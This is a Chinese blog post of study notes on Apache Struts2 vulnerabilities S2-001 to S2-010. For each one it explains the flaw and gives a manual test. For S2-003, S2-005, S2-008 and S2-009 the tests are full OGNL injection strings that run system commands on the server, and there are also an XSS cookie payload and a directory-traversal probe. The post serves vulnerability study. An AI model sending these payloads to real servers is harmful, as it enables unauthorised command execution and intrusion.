Struts2-全漏洞研究(一)


本文是在自己入门漏洞研究的同时编写这些笔记。
个人整理,如有错误,请联系更改。 – taamr
微步社区的文章也是我发的,并不是我抄的,看id就能知道了。
并且只提供POC,不提供EXP,谢谢


Struts2介绍

Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet(应用程序控制器),在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。通过action对请求进行处理,并调用jsp返回html页面。

Struts2是在webworkXwork的技术基础上开发的。而这些拥有altSyntax的特性,该特性允许用户提交OGNL请求,执行OGNL表达式(会把每个http请求参数当作OGNL表达式解释执行)。这导致了大部分RCE。(建议了解OGNL表达式,编写POC,EXP时会有帮助)

Struts2业务逻辑

介绍完了。开始逐一分析吧。


S2-001

漏洞原理:

Struts2框架Struts2 中的validation(验证)机制。validation依靠validation和workflow两个拦截器(拦截请求的action)。validation会根据配置的xml文件创建一个特殊字段错误列表。而workflow则会根据validation的错误对其进行检测,如果输入有值,将会把用户带回到原先提交表单的页面,并且将值返回。反之,在默认情况下,如果控制器没有得到任何的输入结果但是有validation验证错误。那么用户将会得到一个错误的信息提示。
在WebWork 2.1+ 和 Struts 2中存在一个altSyntax的特性,该特性允许用户提交OGNL请求,当用户提交恶意请求表单,故意触发一个validation错误,页面被workflow再次返回给用户的时候,默认情况下相当于返回%{return_value},我们注入的恶意代码,会被递归执行执行。

简单来说,用户页面提交错误的表单数据,服务器处理表单数据,验证为错误数据后会把表单数据与原先页面返回给用户。利用时提交OGNL表达式(恶意代码)即可递归执行,并且结果会返回到页面上,进而进阶命令执行利用。

漏洞类型:

远程代码执行漏洞。相信用户输入、业务逻辑问题。可利用性:7分

漏洞手测

找到填写表单数据的页面,填写错误数据及OGNL表达式%{18*18},查看响应页面是否有数据返回。


S2-002

漏洞原理:

Struts2-002漏洞发生在 <s:url> 和 <s:a>标签(struts2框架的前端html中用来超链接action的标签)中,未对标签内字符进行转义,当标签的属性 includeParams=all 时,即可触发该漏洞。

jsp文件遇到<s:标签时->doStartTag(页面处理,渲染 html中的<s:)->component.start(根据includeParams参数的值进行不同的处理,值为get和all的差别是)->mergeRequestParameters(拼接url参数,未作任何处理)->返回渲染->页面html中的<s:标签中参数可XSS

值得一提的是includeParams为get时,再下一层方法也mergeRequestParameters处理,但是这时方法中的数据是从 tomcat 的get请求参数字符串中获取的,是经过 URL 编码的。所以html渲染时候的url编码的数据并不会引起xss。

includeParams属性为超链接时url包含的参数。none - URL中不包含任何参数(默认)|| get - 仅包含URL中的GET参数 || all - 在URL中包含GET和POST参数。

简单来说,用户请求一个action页面时?加上xss语句,服务器处理完数据返回渲染html数据页面时,<s:url或<s:a标签里包含的action超链接地址会包含之前的xss语句,可xss。

s:url标签

导致xss

漏洞类型:

跨站脚本漏洞。未对参数进行过滤、相信用户数据。可利用性:4分

漏洞手测:

查看页面html源代码里是否有的<s:标签,如果有,url添加xss脚本,发起请求。


S2-003

漏洞原理:

Struts2是在webwork的技术基础上开发的,webwork的技术基础是Xwork,在WebWork 2.1+ 和 Struts 2中存在一个altSyntax的特性,该特性允许用户提交OGNL请求,而在struts2(webwork及Xwork)处理http请求参数时的ParametersInterceptor方法(过滤#符号)能unicode编码或八进制编码绕过,从而能执行OGNL表达式,操纵上下文命令执行。

简单来说:Struts会将HTTP的每个参数名解析为ognl语句执行(可以理解为Java代码)。ognl表达式通过#来访问struts的对象,Struts框架通过过滤#字符防止安全问题,通过unicode编码(u0023)或8进制(43)即可绕过安全限制,从而能够操纵服务器端上下文对象。

漏洞类型:

远程代码执行漏洞。过滤不全面。可利用性:7分

漏洞手测:

Url后接

?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET')(kxlzx)(kxlzx)&('\u0023mycmd\u003d\'ipconfig\'')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\u0023mycmd)')(bla)(bla)&(A)(('\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())')(bla))&(B)(('\u0023myres\u003dnew\40byte[51020]')(bla))&(C)(('\u0023mydat.readFully(\u0023myres)')(bla))&(D)(('\u0023mystr\u003dnew\40java.lang.String(\u0023myres)')(bla))&('\u0023myout\u003d@org.apache.struts2.ServletActionContext@getResponse()')(bla)(bla)&(E)(('\u0023myout.getWriter().println(\u0023mystr)')(bla))

S2-004

漏洞原理:

Struts2调度程序逻辑允许为请求URI提供在Web应用程序的类路径中找到的某些静态资源,这些请求URI具有以“ / struts /”开头的上下文相对路径。

FilterDispatcher方法(在2.0中)和DefaultStaticContentLoader方法(在2.1中)使攻击者可以使用双重编码的url和相对路径来遍历目录结构并下载“静态”内容文件夹之外的文件

简单来说,struts2调度程序逻辑问题导致双重url编码的/struts/../../../目录遍历。

漏洞类型:

目录遍历漏洞。业务逻辑问题、配置问题、未过滤问题。可利用性:5分。

漏洞手测:

URL后接/struts/..%252f来确认是否存在漏洞。


S2-005

漏洞原理:

S2-005漏洞的起源源于S2-003,**struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制,对于S2-003漏洞,官方通过增加安全配置来修补,但是安全配置可以利用S2-003被绕过(禁止静态方法调用和类方法执行等)**,所以再次导致了漏洞,攻击者可以利用OGNL表达式将这2个选项打开,S2-003的修补方案把自己上了一个锁,但是把锁钥匙给插在了锁头上。

简单来说,修复S2-003时并没有对根源问题修复,只是多加了安全配置。所以可利用S2-003禁止静态方法调用和类方法执行等,关闭安全配置。进而进行利用。

漏洞类型:

远程代码执行漏洞。过滤不全面。可利用性:7分

漏洞手测:

URL后接

?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET')(kxlzx)(kxlzx)&('\u0023_memberAccess.allowStaticMethodAccess\u003dtrue')(bla)(bla)&('\u0023mycmd\u003d\'ipconfig\'')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\u0023mycmd)')(bla)(bla)&(A)(('\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())')(bla))&(B)(('\u0023myres\u003dnew\40byte[51020]')(bla))&(C)(('\u0023mydat.readFully(\u0023myres)')(bla))&(D)(('\u0023mystr\u003dnew\40java.lang.String(\u0023myres)')(bla))&('\u0023myout\u003d@org.apache.struts2.ServletActionContext@getResponse()')(bla)(bla)&(E)(('\u0023myout.getWriter().println(\u0023mystr)')(bla))

S2-006

漏洞原理:

默认情况下,struts2(Xwork)的默认错误页面不存在此漏洞。但是启用动态方法调用(DMI)时,将根据请求参数动态生成action。这允许调用不存在的页面和方法来生成带有注入代码的错误页面。

简单来说,开启DMI时可以根据请求参数生成action,生成时可xss。

漏洞类型 :

跨站脚本漏洞。未对参数进行过滤、相信用户数据。可利用性:4分。

漏洞手测:

URL后接

!login:cantLogin<script>alert(document.cookie)</script>=1

S2-007

漏洞原理:

S2-007漏洞一般出现在表单处(与s2-001相似)。当配置了验证规则validation.xml 时,若类型验证出错,后端默认会将用户提交的表单值通过"'" + value + "'"拼接,然后执行一次 OGNL 表达式解析并返回。要成功利用,只需要找到一个配置了类似验证规则的表单字段使之转换出错,借助类似 SQLi 注入单引号拼接的方式即可注入任意 OGNL 表达式。

简单来说,validation验证表单数据类型时,类型验证出错,即拼接到后台"'" + value + "'"处执行一次OGNL表达式使表单数据转换成正确格式返回。这就导致可以在表单数据里做恶意OGNL表达式,进而命令执行。(与sql注入类似)

漏洞类型:

远程代码执行漏洞。相信用户输入、业务逻辑问题。可利用性:7分

漏洞手测:

找到填写表单数据的页面,输入’+(1+1)+’,查看响应页面是否把格式修改为11


S2-008

漏洞原理:

S2-008包含3个远程命令执行漏洞、1个文件覆盖漏洞。

1.RCE

填写错误属性的值时,该值将作为OGNL表达式进行计算。将字符串值设置为整数属性时会发生这种情况。(与S2-007相似)

2.RCE

参数名的字符白名单不应用于cookie拦截器。当Struts配置为处理cookie名称时,攻击者可以通过对Java函数的静态方法访问来执行任意系统命令。但是由于大多 Web 容器(如 Tomcat)对 Cookie 名称都有字符限制,一些关键字符无法使用使得这个点显得比较鸡肋。

3.文件覆盖

由于Struts2禁止在参数内访问标志allowStaticMethodAccess,攻击者仍然可以仅使用一个String类型的参数访问公共构造函数,以创建新Java对象,并仅使用一个String类型的参数访问其setter。在示例中,这可能被滥用以创建和覆盖任意文件。

4.RCE

虽然本身不是安全漏洞,但请注意,在开发人员模式下运行并使用DebuggingInterceptor的应用程序也能导致远程执行命令。虽然在生产过程中应用程序永远不应该以开发人员模式运行,但开发人员应该意识到这样做不仅会带来性能问题(如文档所述),而且会带来严重的安全影响。

漏洞类型:

远程命令执行漏洞。安全配置错误。可利用性:6分。(可利用性低,实际应用场景几乎没有)

漏洞手测:

URL后接:

debug=command&expression=%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2c%23f.setAccessible%28true%29%2c%23f.set%28%23_memberAccess%2ctrue%29%2c%23a%3d@java.lang.Runtime@getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2c%23b%3dnew%20java.io.InputStreamReader%28%23a%29%2c%23c%3dnew%20java.io.BufferedReader%28%23b%29%2c%23d%3dnew%20char%5b50000%5d%2c%23c.read%28%23d%29%2c%23genxor%3d%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2c%23genxor.println%28%23d%29%2c%23genxor.flush%28%29%2c%23genxor.close%28

S2-009

漏洞原理:

Struts2对S2-003的修复方法是禁止#号,于是s2-005通过使用编码\u0023或\43来绕过;后来Struts2对S2-005的修复方法是禁止\等特殊符号,使用户不能提交反斜线。但是,如果当前action中接受了某个参数example,这个参数将进入OGNL的上下文。所以,我们可以将OGNL表达式放在example参数中,然后使用/helloword.acton?example=&(example)(‘xxx’)=1的方法来执行它,从而绕过官方对#、\等特殊字符的防御。

简单来说,源自s2-003和s2-005,修复s2-005时,只是禁止了\符号,不让编码传参了。但是action中接受了某个参数example,这个参数就能命令执行。

漏洞类型:

远程命令执行漏洞。安全配置错误。可利用性:7分

漏洞手测:

寻找参数。url拼接poc

age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec("[命令]").getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]

S2-010

漏洞原理:

当使用Struts 2令牌机制进行CSRF保护时,可能会因为错误使用已知会话属性而绕过令牌检查。Struts 2令牌机制(令牌标记和令牌拦截器)最初的目标是为表单提供双重提交检查。此外,该机制通过实现同步器令牌模式基本上符合CSRF保护的条件,如OWASP CSRF预防备忘表中所述。当用于该目的时,可能的攻击者可能会通过更改令牌名称配置参数来操纵请求,以匹配其通过名称和值已知的字符串类型会话属性,同时将令牌值参数更改为所述会话属性的值。然后,与请求的令牌配置匹配的现有会话属性绕过令牌检查机制。

简单来说,利用struts2已知的会话属性,更改令牌配置参数,进而绕过令牌检查机制。

漏洞类型:

客户端请求伪造漏洞。令牌验证机制不全面。可利用性:5分

漏洞手测:

无。


文章作者: meta-taamr
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 meta-taamr !